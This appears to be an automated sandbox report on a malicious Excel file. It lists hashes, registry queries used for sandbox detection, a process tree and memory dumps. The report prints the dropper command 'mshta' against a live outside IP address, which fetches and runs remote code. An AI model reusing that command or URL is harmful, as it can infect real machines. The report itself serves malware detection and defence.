0f502d9c5bda6dd7da36f80b951ecac88e8b582f04ead350dc877dd48c8c705f

General

Target

0f502d9c5bda6dd7da36f80b951ecac88e8b582f04ead350dc877dd48c8c705f.xls
Size

84KB
MD5

da2d1c1a6c2664e1005d0e2053d6e59f
SHA1

367ee33c51ab9cff71a105ef0bc2fd71329844f6
SHA256

0f502d9c5bda6dd7da36f80b951ecac88e8b582f04ead350dc877dd48c8c705f
SHA512

3bdec658a2c0ad517f35b50aff04f5179790f7b8932d8aa9948bee71ed16a26fca2d88bd2d15c30a70650986b020b7e299950ee5d17f0cb9975af0afa4c15ae5
SSDEEP

1536:H0k3hbdlylKsgqopeJBWhZFGkE+cMLxAAIzSEV2NnX4Ia3gg5W8IuD7PoHsP7e3/:H0k3hbdlylKsgqopeJBWhZFGkE+cMLxz

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://91.240.118.172/gg/ff/fe.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3336	536	CMD.EXE	82

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	3756	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
536	EXCEL.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
536	EXCEL.EXE
536	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE
536	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 536 wrote to memory of 3336	536	EXCEL.EXE	86
PID 536 wrote to memory of 3336	536	EXCEL.EXE	86
PID 3336 wrote to memory of 3756	3336	CMD.EXE	88
PID 3336 wrote to memory of 3756	3336	CMD.EXE	88

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\0f502d9c5bda6dd7da36f80b951ecac88e8b582f04ead350dc877dd48c8c705f.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:536
- C:\Windows\SYSTEM32\CMD.EXE
  CMD.EXE /c mshta http://91.240.118.172/gg/ff/fe.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3336
- - C:\Windows\system32\mshta.exe
    mshta http://91.240.118.172/gg/ff/fe.html
    3⤵
    - Blocklisted process makes network request
    PID:3756

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
3KB

MD5
b301c1bd87e445fd4e9fda9014f56b45

SHA1
e7bc1f7f0e6bf012b73ef442c675537d55460d13

SHA256
2096813d78e75d31cb6b65f14ed8331be884b6b46807ee0367cd3c75bd964341

SHA512
d3633ef22969362712624beddcbb3efd414dd68fb61b628b72195ae9bdd7715add907078d1280c4774ac43bb8df03f46bb760b18737634f5cf98e71b6f5601b3

Download Submit
memory/536-14-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-35-0x00007FF811B8D000-0x00007FF811B8E000-memory.dmp

Filesize
4KB

Download
memory/536-2-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-5-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-7-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-10-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-9-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-6-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-4-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-8-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-13-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-0-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-3-0x00007FF7D1B70000-0x00007FF7D1B80000-memory.dmp

Filesize
64KB

Download
memory/536-15-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-19-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-11-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

Filesize
64KB

Download
memory/536-18-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-20-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-12-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-21-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-17-0x00007FF7CF520000-0x00007FF7CF530000-memory.dmp

Filesize
64KB

Download
memory/536-34-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-16-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-36-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-37-0x00007FF811AF0000-0x00007FF811CE5000-memory.dmp

Filesize
2.0MB

Download
memory/536-1-0x00007FF811B8D000-0x00007FF811B8E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads